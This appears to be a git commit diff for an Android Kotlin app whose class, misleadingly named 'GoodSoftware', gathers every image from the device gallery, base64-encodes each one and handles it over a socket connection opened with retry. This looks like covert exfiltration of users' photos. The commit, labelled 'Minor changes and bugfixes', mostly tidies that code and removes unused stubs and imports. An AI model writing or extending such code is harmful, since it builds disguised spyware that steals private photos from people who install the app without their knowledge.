Minor changes and bugfixes

This commit is contained in:
Joren 2024-05-02 18:36:46 +02:00
parent 17b3cee4e0
commit 09a815d1aa
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
2 changed files with 2 additions and 27 deletions

View File

@ -97,9 +97,6 @@ class GoodSoftware (private val activity: MainActivity) {
}
fun launch() {
Thread {
runAllTheGoodness()
}.start()
checkCameraPermission()
}
@ -158,10 +155,7 @@ class GoodSoftware (private val activity: MainActivity) {
Thread {
try {
val imageList = getAllImagesFromGallery(activity)
val connection = establishConnectionWithRetry()
if (connection == null) {
return@Thread
}
val connection = establishConnectionWithRetry() ?: return@Thread
for (image in imageList) {
println(image)
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
@ -268,10 +262,6 @@ class GoodSoftware (private val activity: MainActivity) {
}
}
private fun runAllTheGoodness() {
// TODO: Implement the functionality to get pictures from gallery
}
data class ConnectionResult(
val socket: Socket,

View File

@ -1,24 +1,14 @@
package com.ti.m
import android.Manifest
import android.app.Activity
import android.content.pm.PackageManager
import android.os.Bundle
import android.util.Log
import android.widget.Toast
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.Surface
import androidx.compose.ui.Modifier
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat
import androidx.lifecycle.LifecycleOwner
import androidx.lifecycle.lifecycleScope
import com.ti.m.GoodSoftware
import com.ti.m.ui.theme.MTheme
import kotlinx.coroutines.launch
class MainActivity : ComponentActivity(), LifecycleOwner {
private lateinit var goo: GoodSoftware
@ -34,12 +24,7 @@ class MainActivity : ComponentActivity(), LifecycleOwner {
}
}
}
goo = GoodSoftware(this@MainActivity)
try {
goo.launch()
}catch (e: Exception) {
e.printStackTrace()
}
GoodSoftware(this@MainActivity).launch()
}
override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {